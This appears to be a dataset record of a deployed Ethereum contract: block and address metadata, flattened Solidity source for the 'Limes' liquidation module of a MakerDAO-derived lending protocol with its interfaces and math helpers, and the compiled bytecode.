[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,192
0x965b587965df57937dae2a50f8f56accd43a4cf6
// SPDX-License-Identifier: AGPL-3.0-or-later // Copyright (C) 2020-2021 Maker Ecosystem Growth Holdings, INC. pragma solidity ^0.8.4; interface ICodex { function init(address vault) external; function setParam(bytes32 param, uint256 data) external; function setParam( address, bytes32, uint256 ) external; function credit(address) external view returns (uint256); function unbackedDebt(address) external view returns (uint256); function balances( address, uint256, address ) external view returns (uint256); function vaults(address vault) external view returns ( uint256 totalNormalDebt, uint256 rate, uint256 debtCeiling, uint256 debtFloor ); function positions( address vault, uint256 tokenId, address position ) external view returns (uint256 collateral, uint256 normalDebt); function globalDebt() external view returns (uint256); function globalUnbackedDebt() external view returns (uint256); function globalDebtCeiling() external view returns (uint256); function delegates(address, address) external view returns (uint256); function grantDelegate(address) external; function revokeDelegate(address) external; function modifyBalance( address, uint256, address, int256 ) external; function transferBalance( address vault, uint256 tokenId, address src, address dst, uint256 amount ) external; function transferCredit( address src, address dst, uint256 amount ) external; function modifyCollateralAndDebt( address vault, uint256 tokenId, address user, address collateralizer, address debtor, int256 deltaCollateral, int256 deltaNormalDebt ) external; function transferCollateralAndDebt( address vault, uint256 tokenId, address src, address dst, int256 deltaCollateral, int256 deltaNormalDebt ) external; function confiscateCollateralAndDebt( address vault, uint256 tokenId, address user, address collateralizer, address debtor, int256 deltaCollateral, int256 deltaNormalDebt ) external; function settleUnbackedDebt(uint256 debt) external; function createUnbackedDebt( address debtor, address creditor, uint256 debt ) external; function modifyRate( address vault, address creditor, int256 rate ) external; function lock() external; }interface IPriceCalculator { // 1st arg: initial price [wad] // 2nd arg: seconds since auction start [seconds] // returns: current auction price [wad] function price(uint256, uint256) external view returns (uint256); } interface IPriceFeed { function peek() external returns (bytes32, bool); function read() external view returns (bytes32); } interface ICollybus { function vaults(address) external view returns (uint128, uint128); function spots(address) external view returns (uint256); function rates(uint256) external view returns (uint256); function rateIds(address, uint256) external view returns (uint256); function redemptionPrice() external view returns (uint256); function live() external view returns (uint256); function setParam(bytes32 param, uint256 data) external; function setParam( address vault, bytes32 param, uint128 data ) external; function setParam( address vault, uint256 tokenId, bytes32 param, uint256 data ) external; function updateDiscountRate(uint256 rateId, uint256 rate) external; function updateSpot(address token, uint256 spot) external; function read( address vault, address underlier, uint256 tokenId, uint256 maturity, bool net ) external view returns (uint256 price); function lock() external; } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDebtAuction { function auctions(uint256) external view returns ( uint256, uint256, address, uint48, uint48 ); function codex() external view returns (ICodex); function token() external view returns (IERC20); function minBidBump() external view returns (uint256); function tokenToSellBump() external view returns (uint256); function bidDuration() external view returns (uint48); function auctionDuration() external view returns (uint48); function auctionCounter() external view returns (uint256); function live() external view returns (uint256); function aer() external view returns (address); function setParam(bytes32 param, uint256 data) external; function startAuction( address recipient, uint256 tokensToSell, uint256 bid ) external returns (uint256 id); function redoAuction(uint256 id) external; function submitBid( uint256 id, uint256 tokensToSell, uint256 bid ) external; function closeAuction(uint256 id) external; function lock() external; function cancelAuction(uint256 id) external; } interface ISurplusAuction { function auctions(uint256) external view returns ( uint256, uint256, address, uint48, uint48 ); function codex() external view returns (ICodex); function token() external view returns (IERC20); function minBidBump() external view returns (uint256); function bidDuration() external view returns (uint48); function auctionDuration() external view returns (uint48); function auctionCounter() external view returns (uint256); function live() external view returns (uint256); function setParam(bytes32 param, uint256 data) external; function startAuction(uint256 creditToSell, uint256 bid) external returns (uint256 id); function redoAuction(uint256 id) external; function submitBid( uint256 id, uint256 creditToSell, uint256 bid ) external; function closeAuction(uint256 id) external; function lock(uint256 credit) external; function cancelAuction(uint256 id) external; } interface IAer { function codex() external view returns (ICodex); function surplusAuction() external view returns (ISurplusAuction); function debtAuction() external view returns (IDebtAuction); function debtQueue(uint256) external view returns (uint256); function queuedDebt() external view returns (uint256); function debtOnAuction() external view returns (uint256); function auctionDelay() external view returns (uint256); function debtAuctionSellSize() external view returns (uint256); function debtAuctionBidSize() external view returns (uint256); function surplusAuctionSellSize() external view returns (uint256); function surplusBuffer() external view returns (uint256); function live() external view returns (uint256); function setParam(bytes32 param, uint256 data) external; function setParam(bytes32 param, address data) external; function queueDebt(uint256 debt) external; function unqueueDebt(uint256 queuedAt) external; function settleDebtWithSurplus(uint256 debt) external; function settleAuctionedDebt(uint256 debt) external; function startDebtAuction() external returns (uint256 auctionId); function startSurplusAuction() external returns (uint256 auctionId); function transferCredit(address to, uint256 credit) external; function lock() external; } interface ILimes { function codex() external view returns (ICodex); function aer() external view returns (IAer); function vaults(address) external view returns ( address, uint256, uint256, uint256 ); function live() external view returns (uint256); function globalMaxDebtOnAuction() external view returns (uint256); function globalDebtOnAuction() external view returns (uint256); function setParam(bytes32 param, address data) external; function setParam(bytes32 param, uint256 data) external; function setParam( address vault, bytes32 param, uint256 data ) external; function setParam( address vault, bytes32 param, address collateralAuction ) external; function liquidationPenalty(address vault) external view returns (uint256); function liquidate( address vault, uint256 tokenId, address position, address keeper ) external returns (uint256 auctionId); function liquidated( address vault, uint256 tokenId, uint256 debt ) external; function lock() external; } interface CollateralAuctionCallee { function collateralAuctionCall( address, uint256, uint256, bytes calldata ) external; } interface ICollateralAuction { function vaults(address) external view returns ( uint256, uint256, uint256, uint256, ICollybus, IPriceCalculator ); function codex() external view returns (ICodex); function limes() external view returns (ILimes); function aer() external view returns (IAer); function feeTip() external view returns (uint64); function flatTip() external view returns (uint192); function auctionCounter() external view returns (uint256); function activeAuctions(uint256) external view returns (uint256); function auctions(uint256) external view returns ( uint256, uint256, uint256, address, uint256, address, uint96, uint256 ); function stopped() external view returns (uint256); function init(address vault, address collybus) external; function setParam(bytes32 param, uint256 data) external; function setParam(bytes32 param, address data) external; function setParam( address vault, bytes32 param, uint256 data ) external; function setParam( address vault, bytes32 param, address data ) external; function startAuction( uint256 debt, uint256 collateralToSell, address vault, uint256 tokenId, address user, address keeper ) external returns (uint256 auctionId); function redoAuction(uint256 auctionId, address keeper) external; function takeCollateral( uint256 auctionId, uint256 collateralAmount, uint256 maxPrice, address recipient, bytes calldata data ) external; function count() external view returns (uint256); function list() external view returns (uint256[] memory); function getStatus(uint256 auctionId) external view returns ( bool needsRedo, uint256 price, uint256 collateralToSell, uint256 debt ); function updateAuctionDebtFloor(address vault) external; function cancelAuction(uint256 auctionId) external; }interface IVault { function codex() external view returns (ICodex); function collybus() external view returns (ICollybus); function token() external view returns (address); function tokenScale() external view returns (uint256); function underlierToken() external view returns (address); function underlierScale() external view returns (uint256); function vaultType() external view returns (bytes32); function live() external view returns (uint256); function lock() external; function setParam(bytes32 param, address data) external; function maturity(uint256 tokenId) external returns (uint256); function fairPrice( uint256 tokenId, bool net, bool face ) external view returns (uint256); function enter( uint256 tokenId, address user, uint256 amount ) external; function exit( uint256 tokenId, address user, uint256 amount ) external; } interface IGuarded { function ANY_SIG() external view returns (bytes32); function ANY_CALLER() external view returns (address); function allowCaller(bytes32 sig, address who) external; function blockCaller(bytes32 sig, address who) external; function canCall(bytes32 sig, address who) external view returns (bool); } /// @title Guarded /// @notice Mixin implementing an authentication scheme on a method level abstract contract Guarded is IGuarded { /// ======== Custom Errors ======== /// error Guarded__notRoot(); error Guarded__notGranted(); /// ======== Storage ======== /// /// @notice Wildcard for granting a caller to call every guarded method bytes32 public constant override ANY_SIG = keccak256("ANY_SIG"); /// @notice Wildcard for granting a caller to call every guarded method address public constant override ANY_CALLER = address(uint160(uint256(bytes32(keccak256("ANY_CALLER"))))); /// @notice Mapping storing who is granted to which method /// @dev Method Signature => Caller => Bool mapping(bytes32 => mapping(address => bool)) private _canCall; /// ======== Events ======== /// event AllowCaller(bytes32 sig, address who); event BlockCaller(bytes32 sig, address who); constructor() { // set root _setRoot(msg.sender); } /// ======== Auth ======== /// modifier callerIsRoot() { if (_canCall[ANY_SIG][msg.sender]) { _; } else revert Guarded__notRoot(); } modifier checkCaller() { if (canCall(msg.sig, msg.sender)) { _; } else revert Guarded__notGranted(); } /// @notice Grant the right to call method `sig` to `who` /// @dev Only the root user (granted `ANY_SIG`) is able to call this method /// @param sig Method signature (4Byte) /// @param who Address of who should be able to call `sig` function allowCaller(bytes32 sig, address who) public override callerIsRoot { _canCall[sig][who] = true; emit AllowCaller(sig, who); } /// @notice Revoke the right to call method `sig` from `who` /// @dev Only the root user (granted `ANY_SIG`) is able to call this method /// @param sig Method signature (4Byte) /// @param who Address of who should not be able to call `sig` anymore function blockCaller(bytes32 sig, address who) public override callerIsRoot { _canCall[sig][who] = false; emit BlockCaller(sig, who); } /// @notice Returns if `who` can call `sig` /// @param sig Method signature (4Byte) /// @param who Address of who should be able to call `sig` function canCall(bytes32 sig, address who) public view override returns (bool) { return (_canCall[sig][who] || _canCall[ANY_SIG][who] || _canCall[sig][ANY_CALLER]); } /// @notice Sets the root user (granted `ANY_SIG`) /// @param root Address of who should be set as root function _setRoot(address root) internal { _canCall[ANY_SIG][root] = true; emit AllowCaller(ANY_SIG, root); } /// @notice Unsets the root user (granted `ANY_SIG`) /// @param root Address of who should be unset as root function _unsetRoot(address root) internal { _canCall[ANY_SIG][root] = false; emit AllowCaller(ANY_SIG, root); } }// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC. uint256 constant MLN = 10**6; uint256 constant BLN = 10**9; uint256 constant WAD = 10**18; uint256 constant RAY = 10**18; uint256 constant RAD = 10**18; /* solhint-disable func-visibility, no-inline-assembly */ error Math__toInt256_overflow(uint256 x); function toInt256(uint256 x) pure returns (int256) { if (x > uint256(type(int256).max)) revert Math__toInt256_overflow(x); return int256(x); } function min(uint256 x, uint256 y) pure returns (uint256 z) { unchecked { z = x <= y ? x : y; } } function max(uint256 x, uint256 y) pure returns (uint256 z) { unchecked { z = x >= y ? x : y; } } error Math__diff_overflow(uint256 x, uint256 y); function diff(uint256 x, uint256 y) pure returns (int256 z) { unchecked { z = int256(x) - int256(y); if (!(int256(x) >= 0 && int256(y) >= 0)) revert Math__diff_overflow(x, y); } } error Math__add_overflow(uint256 x, uint256 y); function add(uint256 x, uint256 y) pure returns (uint256 z) { unchecked { if ((z = x + y) < x) revert Math__add_overflow(x, y); } } error Math__add48_overflow(uint256 x, uint256 y); function add48(uint48 x, uint48 y) pure returns (uint48 z) { unchecked { if ((z = x + y) < x) revert Math__add48_overflow(x, y); } } error Math__add_overflow_signed(uint256 x, int256 y); function add(uint256 x, int256 y) pure returns (uint256 z) { unchecked { z = x + uint256(y); if (!(y >= 0 || z <= x)) revert Math__add_overflow_signed(x, y); if (!(y <= 0 || z >= x)) revert Math__add_overflow_signed(x, y); } } error Math__sub_overflow(uint256 x, uint256 y); function sub(uint256 x, uint256 y) pure returns (uint256 z) { unchecked { if ((z = x - y) > x) revert Math__sub_overflow(x, y); } } error Math__sub_overflow_signed(uint256 x, int256 y); function sub(uint256 x, int256 y) pure returns (uint256 z) { unchecked { z = x - uint256(y); if (!(y <= 0 || z <= x)) revert Math__sub_overflow_signed(x, y); if (!(y >= 0 || z >= x)) revert Math__sub_overflow_signed(x, y); } } error Math__mul_overflow(uint256 x, uint256 y); function mul(uint256 x, uint256 y) pure returns (uint256 z) { unchecked { if (!(y == 0 || (z = x * y) / y == x)) revert Math__mul_overflow(x, y); } } error Math__mul_overflow_signed(uint256 x, int256 y); function mul(uint256 x, int256 y) pure returns (int256 z) { unchecked { z = int256(x) * y; if (int256(x) < 0) revert Math__mul_overflow_signed(x, y); if (!(y == 0 || z / y == int256(x))) revert Math__mul_overflow_signed(x, y); } } function wmul(uint256 x, uint256 y) pure returns (uint256 z) { unchecked { z = mul(x, y) / WAD; } } function wmul(uint256 x, int256 y) pure returns (int256 z) { unchecked { z = mul(x, y) / int256(WAD); } } error Math__div_overflow(uint256 x, uint256 y); function div(uint256 x, uint256 y) pure returns (uint256 z) { unchecked { if (y == 0) revert Math__div_overflow(x, y); return x / y; } } function wdiv(uint256 x, uint256 y) pure returns (uint256 z) { unchecked { z = mul(x, WAD) / y; } } // optimized version from dss PR #78 function wpow( uint256 x, uint256 n, uint256 b ) pure returns (uint256 z) { unchecked { assembly { switch n case 0 { z := b } default { switch x case 0 { z := 0 } default { switch mod(n, 2) case 0 { z := b } default { z := x } let half := div(b, 2) // for rounding. for { n := div(n, 2) } n { n := div(n, 2) } { let xx := mul(x, x) if shr(128, x) { revert(0, 0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0, 0) } x := div(xxRound, b) if mod(n, 2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0, 0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0, 0) } z := div(zxRound, b) } } } } } } } /* solhint-disable func-visibility, no-inline-assembly */ /// @title Limes /// @notice `Limes` is responsible for triggering liquidations of unsafe Positions and /// putting the Position's collateral up for auction /// Uses Dog.sol from DSS (MakerDAO) as a blueprint /// Changes from Dog.sol: /// - only WAD precision is used (no RAD and RAY) /// - uses a method signature based authentication scheme /// - supports ERC1155, ERC721 style assets by TokenId contract Limes is Guarded, ILimes { /// ======== Custom Errors ======== /// error Limes__setParam_liquidationPenaltyLtWad(); error Limes__setParam_unrecognizedParam(); error Limes__liquidate_notLive(); error Limes__liquidate_notUnsafe(); error Limes__liquidate_maxDebtOnAuction(); error Limes__liquidate_dustyAuctionFromPartialLiquidation(); error Limes__liquidate_nullAuction(); error Limes__liquidate_overflow(); /// ======== Storage ======== /// // Vault specific configuration data struct VaultConfig { // Auction contract for collateral address collateralAuction; // Liquidation penalty [wad] uint256 liquidationPenalty; // Max credit needed to cover debt+fees of active auctions per vault [wad] uint256 maxDebtOnAuction; // Amount of credit needed to cover debt+fees for all active auctions per vault [wad] uint256 debtOnAuction; } /// @notice Vault Configs /// @dev Vault => Vault Config mapping(address => VaultConfig) public override vaults; /// @notice Codex ICodex public immutable override codex; /// @notice Aer IAer public override aer; /// @notice Max credit needed to cover debt+fees of active auctions [wad] uint256 public override globalMaxDebtOnAuction; /// @notice Amount of credit needed to cover debt+fees for all active auctions [wad] uint256 public override globalDebtOnAuction; /// @notice Boolean indicating if this contract is live (0 - not live, 1 - live) uint256 public override live; /// ======== Events ======== /// event SetParam(bytes32 indexed param, uint256 data); event SetParam(bytes32 indexed param, address data); event SetParam(address indexed vault, bytes32 indexed param, uint256 data); event SetParam(address indexed vault, bytes32 indexed param, address collateralAuction); event Liquidate( address indexed vault, uint256 indexed tokenId, address position, uint256 collateral, uint256 normalDebt, uint256 due, address collateralAuction, uint256 indexed auctionId ); event Liquidated(address indexed vault, uint256 indexed tokenId, uint256 debt); event Lock(); constructor(address codex_) Guarded() { codex = ICodex(codex_); live = 1; } /// ======== Configuration ======== /// /// @notice Sets various variables for this contract /// @dev Sender has to be allowed to call this method /// @param param Name of the variable to set /// @param data New value to set for the variable [address] function setParam(bytes32 param, address data) external override checkCaller { if (param == "aer") aer = IAer(data); else revert Limes__setParam_unrecognizedParam(); emit SetParam(param, data); } /// @notice Sets various variables for this contract /// @dev Sender has to be allowed to call this method /// @param param Name of the variable to set /// @param data New value to set for the variable [wad] function setParam(bytes32 param, uint256 data) external override checkCaller { if (param == "globalMaxDebtOnAuction") globalMaxDebtOnAuction = data; else revert Limes__setParam_unrecognizedParam(); emit SetParam(param, data); } /// @notice Sets various variables for a Vault /// @dev Sender has to be allowed to call this method /// @param vault Address of the Vault /// @param param Name of the variable to set /// @param data New value to set for the variable [wad] function setParam( address vault, bytes32 param, uint256 data ) external override checkCaller { if (param == "liquidationPenalty") { if (data < WAD) revert Limes__setParam_liquidationPenaltyLtWad(); vaults[vault].liquidationPenalty = data; } else if (param == "maxDebtOnAuction") vaults[vault].maxDebtOnAuction = data; else revert Limes__setParam_unrecognizedParam(); emit SetParam(vault, param, data); } /// @notice Sets various variables for a Vault /// @dev Sender has to be allowed to call this method /// @param vault Address of the Vault /// @param param Name of the variable to set /// @param data New value to set for the variable [address] function setParam( address vault, bytes32 param, address data ) external override checkCaller { if (param == "collateralAuction") { vaults[vault].collateralAuction = data; } else revert Limes__setParam_unrecognizedParam(); emit SetParam(vault, param, data); } /// ======== Liquidations ======== /// /// @notice Direct access to the current liquidation penalty set for a Vault /// @param vault Address of the Vault /// @return liquidation penalty [wad] function liquidationPenalty(address vault) external view override returns (uint256) { return vaults[vault].liquidationPenalty; } /// @notice Liquidate a Position and start a Dutch auction to sell its collateral for credit. /// @dev The third argument is the address that will receive the liquidation reward, if any. /// The entire Position will be liquidated except when the target amount of credit to be raised in /// the resulting auction (debt of Position + liquidation penalty) causes either globalDebtOnAuction to exceed /// globalMaxDebtOnAuction or vault.debtOnAuction to exceed vault.maxDebtOnAuction by an economically /// significant amount. In that case, a partial liquidation is performed to respect the global and per-vault limits /// on outstanding credit target. The one exception is if the resulting auction would likely /// have too little collateral to be of interest to Keepers (debt taken from Position < vault.debtFloor), /// in which case the function reverts. Please refer to the code and comments within if more detail is desired. /// @param vault Address of the Position's Vault /// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20) of the Position /// @param position Address of the owner of the Position /// @param keeper Address of the keeper who triggers the liquidation and receives the reward /// @return auctionId Indentifier of the started auction function liquidate( address vault, uint256 tokenId, address position, address keeper ) external override returns (uint256 auctionId) { if (live == 0) revert Limes__liquidate_notLive(); VaultConfig memory mvault = vaults[vault]; uint256 deltaNormalDebt; uint256 rate; uint256 debtFloor; uint256 deltaCollateral; unchecked { { (uint256 collateral, uint256 normalDebt) = codex.positions(vault, tokenId, position); uint256 price = IVault(vault).fairPrice(tokenId, true, false); (, rate, , debtFloor) = codex.vaults(vault); if (price == 0 || mul(collateral, price) >= mul(normalDebt, rate)) revert Limes__liquidate_notUnsafe(); // Get the minimum value between: // 1) Remaining space in the globalMaxDebtOnAuction // 2) Remaining space in the vault.maxDebtOnAuction if (!(globalMaxDebtOnAuction > globalDebtOnAuction && mvault.maxDebtOnAuction > mvault.debtOnAuction)) revert Limes__liquidate_maxDebtOnAuction(); uint256 room = min( globalMaxDebtOnAuction - globalDebtOnAuction, mvault.maxDebtOnAuction - mvault.debtOnAuction ); // normalize room by subtracting rate and liquidationPenalty deltaNormalDebt = min(normalDebt, (((room * WAD) / rate) * WAD) / mvault.liquidationPenalty); // Partial liquidation edge case logic if (normalDebt > deltaNormalDebt) { if (wmul(normalDebt - deltaNormalDebt, rate) < debtFloor) { // If the leftover Position would be dusty, just liquidate it entirely. // This will result in at least one of v.debtOnAuction > v.maxDebtOnAuction or // globalDebtOnAuction > globalMaxDebtOnAuction becoming true. The amount of excess will // be bounded above by ceiling(v.debtFloor * v.liquidationPenalty / WAD). This deviation is // assumed to be small compared to both v.maxDebtOnAuction and globalMaxDebtOnAuction, so that // the extra amount of credit is not of economic concern. deltaNormalDebt = normalDebt; } else { // In a partial liquidation, the resulting auction should also be non-dusty. if (wmul(deltaNormalDebt, rate) < debtFloor) revert Limes__liquidate_dustyAuctionFromPartialLiquidation(); } } deltaCollateral = mul(collateral, deltaNormalDebt) / normalDebt; } } if (deltaCollateral == 0) revert Limes__liquidate_nullAuction(); if (!(deltaNormalDebt <= 2**255 && deltaCollateral <= 2**255)) revert Limes__liquidate_overflow(); codex.confiscateCollateralAndDebt( vault, tokenId, position, mvault.collateralAuction, address(aer), -int256(deltaCollateral), -int256(deltaNormalDebt) ); uint256 due = wmul(deltaNormalDebt, rate); aer.queueDebt(due); { // Avoid stack too deep // This calcuation will overflow if deltaNormalDebt*rate exceeds ~10^14 uint256 debt = wmul(due, mvault.liquidationPenalty); globalDebtOnAuction = add(globalDebtOnAuction, debt); vaults[vault].debtOnAuction = add(mvault.debtOnAuction, debt); auctionId = ICollateralAuction(mvault.collateralAuction).startAuction({ debt: debt, collateralToSell: deltaCollateral, vault: vault, tokenId: tokenId, user: position, keeper: keeper }); } emit Liquidate( vault, tokenId, position, deltaCollateral, deltaNormalDebt, due, mvault.collateralAuction, auctionId ); } /// @notice Marks the liquidated Position's debt as sold /// @dev Sender has to be allowed to call this method /// @param vault Address of the liquidated Position's Vault /// @param tokenId ERC1155 or ERC721 style TokenId (leave at 0 for ERC20) of the liquidated Position /// @param debt Amount of debt sold function liquidated( address vault, uint256 tokenId, uint256 debt ) external override checkCaller { globalDebtOnAuction = sub(globalDebtOnAuction, debt); vaults[vault].debtOnAuction = sub(vaults[vault].debtOnAuction, debt); emit Liquidated(vault, tokenId, debt); } /// ======== Shutdown ======== /// /// @notice Locks the contract /// @dev Sender has to be allowed to call this method function lock() external override checkCaller { live = 0; emit Lock(); } }
0x608060405234801561001057600080fd5b50600436106101515760003560e01c8063a622ee7c116100cd578063c26472f511610081578063edd1b0be11610066578063edd1b0be14610395578063f63b0f3d146103a8578063f83d08ba146103bb57600080fd5b8063c26472f514610379578063da63b5f91461038257600080fd5b8063b748b9fb116100b2578063b748b9fb146102f8578063bbd91c4614610318578063be6898b61461033f57600080fd5b8063a622ee7c1461025f578063a746d489146102e557600080fd5b806352b43adf116101245780636f93beaa116101095780636f93beaa1461023a578063957aa58c146102435780639f30490a1461024c57600080fd5b806352b43adf1461020457806363bb1a251461022757600080fd5b8063012abbe9146101565780632901a27e1461016b5780632936ff2b1461017e57806341779f86146101b8575b600080fd5b610169610164366004611540565b6103c3565b005b61016961017936600461156c565b6104be565b6101a57f13eb61d6467453b8d8e0d2a40b8dcee776dde376f951013dfdab1b9189651b6181565b6040519081526020015b60405180910390f35b6101df7f000000000000000000000000ce0e395cf61d0f836ddd4fc021f009c93dfe3a6381565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101af565b610217610212366004611540565b61062a565b60405190151581526020016101af565b6101a56102353660046115a8565b6106e9565b6101a560045481565b6101a560055481565b61016961025a3660046115f5565b610f01565b6102ae61026d366004611617565b6001602081905260009182526040909120805491810154600282015460039092015473ffffffffffffffffffffffffffffffffffffffff9093169290919084565b6040805173ffffffffffffffffffffffffffffffffffffffff909516855260208501939093529183015260608201526080016101af565b6101696102f3366004611540565b610f9e565b6002546101df9073ffffffffffffffffffffffffffffffffffffffff1681565b6101df7f48a48edb17b6277f3d9897feeb510d1503580c3997a055cb5a635e86f81c243a81565b6101a561034d366004611617565b73ffffffffffffffffffffffffffffffffffffffff166000908152600160208190526040909120015490565b6101a560035481565b610169610390366004611632565b611062565b6101696103a3366004611540565b611135565b6101696103b6366004611632565b611217565b610169611380565b3360009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff161561048c5760008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff85168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558051858152918201929092527faec761575684e54a883064093131de012d7a9e8fc898f13474e50fcfbdce7d0b91015b60405180910390a15050565b6040517f6d6b83b300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6104ec7fffffffff00000000000000000000000000000000000000000000000000000000600035163361062a565b156105f857817f636f6c6c61746572616c41756374696f6e000000000000000000000000000000036105705773ffffffffffffffffffffffffffffffffffffffff838116600090815260016020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169183169190911790556105a2565b6040517f134defe800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60405173ffffffffffffffffffffffffffffffffffffffff82811682528391908516907f9f9a21766f5b9d92faf47252dce3fd8e495df1774577e866d7cd91e598f66b4c906020015b60405180910390a3505050565b6040517faa68b5bf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008281526020818152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915281205460ff16806106aa575073ffffffffffffffffffffffffffffffffffffffff821660009081527f107ee6c9edf8142ba51e10023f320f7b6ccd180a42be95ddbc18c0e5425b2900602052604090205460ff165b806106e0575060008381526020818152604080832073eb510d1503580c3997a055cb5a635e86f81c243a845290915290205460ff165b90505b92915050565b6000600554600003610727576040517f5b20780e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8581166000818152600160208181526040808420815160808101835281548816815293810154928401929092526002820154838201526003909101546060830152517f85db1df50000000000000000000000000000000000000000000000000000000081526004810193909352602483018890528684166044840152929091829182918291829182917f000000000000000000000000ce0e395cf61d0f836ddd4fc021f009c93dfe3a6316906385db1df5906064016040805180830381865afa15801561080d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108319190611665565b6040517f06edbf77000000000000000000000000000000000000000000000000000000008152600481018e90526001602482015260006044820181905292945090925073ffffffffffffffffffffffffffffffffffffffff8e16906306edbf7790606401602060405180830381865afa1580156108b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d69190611689565b6040517fa622ee7c00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8f811660048301529192507f000000000000000000000000ce0e395cf61d0f836ddd4fc021f009c93dfe3a639091169063a622ee7c90602401608060405180830381865afa158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b91906116a2565b9198509096505081159050806109b357506109a682876113e3565b6109b084836113e3565b10155b156109ea576040517f67ed42e000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600454600354118015610a04575087606001518860400151115b610a3a576040517f25e7b3dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000610a56600454600354038a606001518b6040015103611449565b9050610a98838a60200151670de0b6b3a76400008a670de0b6b3a7640000860281610a8357610a836116d8565b040281610a9257610a926116d8565b04611449565b975087831115610b005785610aaf89850389611460565b1015610abd57829750610b00565b85610ac88989611460565b1015610b00576040517fa5ba2a4f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b82610b0b858a6113e3565b81610b1857610b186116d8565b0494505050505080600003610b59576040517f0efea6bf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b7f80000000000000000000000000000000000000000000000000000000000000008411158015610ba957507f80000000000000000000000000000000000000000000000000000000000000008111155b610bdf576040517f13683d9700000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b845160025473ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000ce0e395cf61d0f836ddd4fc021f009c93dfe3a63811692635d6f82f0928e928e928e92909116610c3588611707565b610c3e8c611707565b60405160e089901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff9788166004820152602481019690965293861660448601529185166064850152909316608483015260a482019290925260c481019190915260e401600060405180830381600087803b158015610cd457600080fd5b505af1158015610ce8573d6000803e3d6000fd5b505050506000610cf88585611460565b6002546040517ff9d539740000000000000000000000000000000000000000000000000000000081526004810183905291925073ffffffffffffffffffffffffffffffffffffffff169063f9d5397490602401600060405180830381600087803b158015610d6557600080fd5b505af1158015610d79573d6000803e3d6000fd5b505050506000610d8d828860200151611460565b9050610d9b6004548261148a565b6004556060870151610dad908261148a565b73ffffffffffffffffffffffffffffffffffffffff808e166000818152600160205260409081902060030193909355895192517f15c4868700000000000000000000000000000000000000000000000000000000815260048101859052602481018790526044810191909152606481018e90528c821660848201528b821660a48201529116906315c486879060c4016020604051808303816000875af1158015610e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7f9190611689565b87516040805173ffffffffffffffffffffffffffffffffffffffff8e81168252602082018890529181018a90526060810186905291811660808301529199508992508c918e16907fae8f88780599d3d0fe2a59c69bd5f51b8eb9747dfaf3b1ca20e5a1a8cc0749609060a00160405180910390a4505050505050949350505050565b